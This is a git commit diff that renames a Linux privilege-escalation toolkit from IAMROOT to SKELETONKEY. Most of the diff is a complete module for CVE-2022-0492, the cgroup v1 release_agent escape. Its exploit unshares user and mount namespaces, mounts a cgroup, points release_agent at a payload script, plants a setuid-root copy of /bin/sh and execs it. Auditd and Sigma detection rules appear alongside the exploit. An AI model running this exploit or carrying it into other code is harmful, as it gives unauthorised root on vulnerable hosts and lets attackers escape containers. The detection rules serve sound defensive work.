rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
@@ -16,7 +16,7 @@ Original writeup:
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
## IAMROOT role
## SKELETONKEY role
**Universal structural exploit — no per-kernel offsets, no race.**
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
@@ -1,12 +0,0 @@
/*
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cgroup_release_agent_module;
#endif
@@ -1,5 +1,5 @@
/*
* cgroup_release_agent_cve_2022_0492 IAMROOT module
* cgroup_release_agent_cve_2022_0492 SKELETONKEY module
*
* cgroup v1 release_agent file is checked only for "is the writer
* root in the cgroup namespace" — NOT "is the writer root in the
@@ -36,7 +36,7 @@
* exposure even if all the fancy heap-spray bugs are patched.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
@@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static const char PAYLOAD_SHELL[] =
"#!/bin/sh\n"
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/iamroot-cgroup-pwned\n"
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/skeletonkey-cgroup-pwned\n"
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
static bool write_file(const char *path, const char *content)
{
@@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content)
return ok;
}
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cgroup_ra_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Drop the setuid-root-shell payload to a path we can read+exec
* later. Payload runs as host root when the cgroup is released. */
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
if (!write_file(payload_path, PAYLOAD_SHELL)) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
chmod(payload_path, 0755);
if (!ctx->json) {
@@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Fork: child does the exploit; parent waits then verifies + execs
* the setuid shell we expect the payload to plant. */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns + mountns, become "root" in userns. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
@@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Mount cgroup v1 (rdma controller — small, simple, works
* even on cgroup-v2-first systems). */
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
mkdir(cgmount, 0700);
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
/* Fallback: try memory controller — needs different reach */
@@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
* Buffers sized generously vs. cgmount template + "/notify_on_release"
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
char cgdir[384];
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
mkdir(cgdir, 0755);
/* Write release_agent in the ROOT of the controller (must be
@@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
"polling for payload execution\n", status);
}
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
* its appearance + setuid bit. Up to 5 seconds. */
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
bool got_root = false;
for (int i = 0; i < 50; i++) {
struct stat st;
@@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
"Likely patched or cgroup-controller-blocked.\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
fflush(NULL);
execl(setuid_sh, "sh", "-p", (char *)NULL);
perror("execl");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
}
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK;
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return SKELETONKEY_OK;
}
static const char cgroup_ra_auditd[] =
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
static const char cgroup_ra_sigma[] =
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
"id: 5c84a37e-iamroot-cgroup-ra\n"
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
const struct iamroot_module cgroup_release_agent_module = {
const struct skeletonkey_module cgroup_release_agent_module = {
.name = "cgroup_release_agent",
.cve = "CVE-2022-0492",
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
@@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = {
.detect_falco = NULL,
};
void iamroot_register_cgroup_release_agent(void)
void skeletonkey_register_cgroup_release_agent(void)
{
iamroot_register(&cgroup_release_agent_module);
skeletonkey_register(&cgroup_release_agent_module);
}
@@ -0,0 +1,12 @@
/*
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cgroup_release_agent_module;
#endif